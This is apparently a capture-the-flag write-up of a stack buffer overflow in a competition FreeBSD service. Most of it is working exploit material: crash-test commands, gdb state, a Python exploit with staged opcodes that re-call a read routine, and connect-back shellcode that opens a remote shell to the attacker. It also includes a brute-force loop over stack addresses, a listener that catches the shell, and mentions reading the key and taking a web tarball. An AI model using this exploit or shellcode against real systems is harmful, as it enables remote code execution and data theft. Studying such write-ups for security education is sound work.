After spending time identifying main (0x08049010), the init routine (08048B74),
and tracking down the child handler (0x08048FB8) pushed to the listener (0x08048CFC) and working out all the arguments to the "read_until" routine (08048A48),
we find a 32 byte read into a 24 byte buffer by the handler:
push 0Ah ; term_char
push 20h ; bufsize
lea eax, [ebp+buffer]
push eax ; buffer (dword ptr -18h)
push [ebp+fildes] ; fildes
call read_until
This appears to be a classic stack overflow, but with not a lot of space
for a shell code. While there may have been easier ways to handle this,
we opted to re-call the "read_until" function, similar to how
Pwnage300 from 2007
was solved: just adjust the stack and call the read again to give you more
space. We should probably investigate staged exploits...
For initial testing, we could crash the service with a return address at
byte position 28:
perl -e "print "\x90" x 28 . pack("V", 0x41414141) . "\n"' | nc -v -v -v localhost 5641
This would segv at address AAAA, as expected. Now we could examine the
register values and the state of the stack:
(gdb) info regs
eax 0x0 0
ecx 0x17 23
edx 0xa 10
ebx 0x1 1
esp 0xbfbfec00 0xbfbfec00
ebp 0x90909090 0x90909090
...
(gdb) x/4x 0xbfbfec00
0xbfbfec00: 0x00000004 0x28075000 0x280d1654 0x08048d3c
For the arguments to read_until, we needed the file descriptor (on the stack
still: 4), the target (anywhere useful on the stack), a "max bytes" value large
enough to hold our shellcode, and
the terminating character (0x0a -- new line -- still in the EDX register).
Additionally, since we're right on top of the current ESP, we'll need to move the stack out of the way before doing more work, since it's likely to clobber our opcodes. Each piece was handled in the "recall" opcodes
below:
#!/usr//bin/env python
import sys, struct
from socket import *
# stack address target
addr = int(sys.argv[1],16)
# 58 pop %eax (get filedes)
# bc 00 f0 be bf mov $bfbef000,%esp (move stack)
# 52 push %edx (push 0xa)
# 6a 7f push byte 0x7f (push limit)
# ba 00 fe bf bf mov $0xbfbffe00,%edx (set target)
# 52 push %edx (push target)
# 50 push %eax (push filedes)
# e8 <calculate> call 0x8048a48 (call read_until)
# e8 <calculate> call 0xbfbffe00 (call target)
# limited to 28 bytes for usable opcodes (address must be at 28)
target = 0xbfbfec06
read_until = 0x08048a48
call_read = addr + 20
recall=\
"\x58"+\
"\xbc\x00\xf0\xbe\xbf"+\
"\x52"+\
"\x6a\x7f"+\
"\xba"+struct.pack("<L", target)+\
"\x52"+\
"\x50"+\
"\xe8"+struct.pack("<L", read_until - (call_read+1))+\
"\xe8"+struct.pack("<L", target - (call_read+1+5))
if len(recall)>28:
print "recall too long\n"
sys.exit(1)
if '\x0a' in recall:
print "recall has nl\n"
sys.exit(1)
recall+="\x90"*(28-len(recall))
recall+=struct.pack("<L", addr)
shell=\
"\x6a\x61\x58\x99\x52\x42\x52\x42\x52\x68\xff\xff\xff\xff\xcd\x80"+\
"\x68\x10\x02\x27\x0f\x89\xe1\x6a\x10\x51\x50\x51\x97\x6a\x62\x58"+\
"\xcd\x80\x6a\x02\x59\xb0\x5a\x51\x57\x51\xcd\x80\x49\x79\xf6\x50"+\
"\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53"+\
"\xb0\x3b\xcd\x80"
conn = socket(AF_INET, SOCK_STREAM)
conn.connect(("209.195.0.124", 5641))
reply = conn.recv(1024)
if 'Authenticate, bitches' not in reply:
sys.exit(1)
conn.sendall( "%s\n" % (recall) )
conn.sendall( "%s\n" % (shell) )
Since the stack didn't seem to always be in the same place between our
various FreeBSD 6.3 VMs, we just brute-forced
it (slowly, one must be nice to the Kenshoto network):
$ for a in f e d c b a 9 8 7 6 5 4 3 2 1 0; do \
for i in 0 1 2 3 4 5 6 7 8 9 a b c d e f; do \
./pwn200.py 0xbfbfe${a}${i}0; echo $a $i; \
sleep 1; \
done; done
It seemed to pop around the 0xbfbfeaxx range, when we got a nice connect-back
from our shellcode. With our new shell, we just got a file listing, and
dumped the key file:
$ nc -l 9991 -v
Connection from 209.195.0.124 port 9999 [tcp/*] accepted
ls
...
key
...
cat key
Sexual chocolate
And then we looked around the box and stole the entire web tree tarball that
had accidentally been left world readable for Real World 500. Too bad that
never opened...